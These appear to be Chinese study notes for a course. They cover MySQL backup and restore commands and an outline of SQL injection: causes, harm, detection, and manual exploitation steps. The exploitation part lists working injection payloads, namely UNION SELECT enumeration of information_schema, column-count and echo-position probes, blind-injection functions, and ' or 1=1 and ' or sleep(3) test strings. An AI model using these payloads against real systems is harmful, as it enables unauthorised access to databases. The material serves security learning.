课程内容
数据库(mysql)
数据库备份
1 | mysqldump -u username -p database_name > backup_file.sql |
数据库恢复
1 | mysql -u username -p database_name < backup_file.sql |
漏洞学习方法
如何产生的
会产生何种危害
如何挖掘
如何利用
如何防御,如何修复
如何绕过防御
sql注入
产生的原因
开发者没有对传入数据进行严格的校验过滤,导致恶意sql语句被拼接到sql语句中执行。
危害
泄漏信息,控制目标服务器。
挖掘
白盒
查看可控参数是否被严格过滤。
黑盒
扫描器测试所有参数。
手工测试:寻找可能与数据库交互的参数
利用
利用
mysql
元数据
information_schema
数据库
UNION SELECT NULL, schema_name FROM information_schema.schemata–
表名
UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = ‘your_database_name’–
列名
UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = ‘your_table_name’–
查询注入点列数
group by 2 –
查找回显位
union select 1,2,3,4
常用函数
USER()
CONCAT()
CURRENT_USER()
VERSION()
盲注用
SUBSTRING()
CHAR_LENGTH()
LENGTH()
ASCII()
黑盒测试之手工注入
注入点测试
闭合符号,',",)
报错测试
将闭合符号拼接到
and测试
需要有正确的值,拼接后输入正确的值,服务器仍能返回与之前相同的内容
or测试
' or 1=1
sleep测试
' or sleep(3)
分类
